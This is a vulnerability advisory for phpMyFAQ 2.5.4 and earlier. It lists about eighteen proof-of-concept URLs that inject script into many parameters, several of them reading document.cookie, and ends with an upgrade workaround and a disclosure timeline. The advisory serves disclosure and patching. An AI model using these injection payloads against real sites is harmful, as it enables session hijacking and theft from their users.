-
Notifications
You must be signed in to change notification settings - Fork 16
/
Copy path10069.txt
51 lines (40 loc) · 2.33 KB
/
10069.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
phpMyFAQ <= 2.5.4 Multiple XSS Vulnerabilities
==============================================
############
OVERVIEW
############
phpMyFAQ 2.5 is a multilingual, completely database-driven FAQ-system.
######################
PoC
######################
http://server/phpmyfaq/index.php?action=sitemap〈=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?search=hello"><script>alert(document.cookie)</script>&action=search
http://server/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en&highlight=you"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=artikel&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=sitemap&letter=W〈=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=sitemap&letter=W"><script>alert(1)</script>〈=en
http://server/phpmyfaq/index.php?sid=7〈=en"><script>alert(document.cookie)</script>&action=show&cat=1
http://server/phpmyfaq/index.php?sid=7〈=en&action=show&cat=1"><script>alert(document.cookie)</script>
http://server/phpmyfaq/index.php?action=search&tagging_id=1"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=news&newsid=1&newslang=en"><script>alert(document.cookie)</script>
http://server/phpmyfaq/index.php?action=send2friend&cat=1&id=1&artlang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=send2friend&cat=1"><script>alert(1)</script>&id=1&artlang=en
http://server/phpmyfaq/index.php?action=send2friend&cat=1&id=1"><script>alert(1)</script>&artlang=en
http://server/phpmyfaq/index.php?action=translate&cat=1&id=1&srclang=en"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=translate&cat=1&id=1"><script>alert(1)</script>&srclang=en
http://server/phpmyfaq/index.php?action=translate&cat=1"><script>alert(1)</script>&id=1&srclang=en
http://server/phpmyfaq/index.php?action=add&question=1&cat=1"><script>alert(1)</script>
http://server/phpmyfaq/index.php?action=add&question=1"><script>alert(1)</script>&cat=1
#############
Workaround
#############
Upgrade to phpMyFAQ 2.5.5.
Download:
http://www.phpmyfaq.de/download.php
############
TimeLine
############
Bug discovered : 05/11/2009
Informed Vendor : 05/11/2009
Vendor releases new version : 02/12/2009
Public Disclosure : 02/12/2009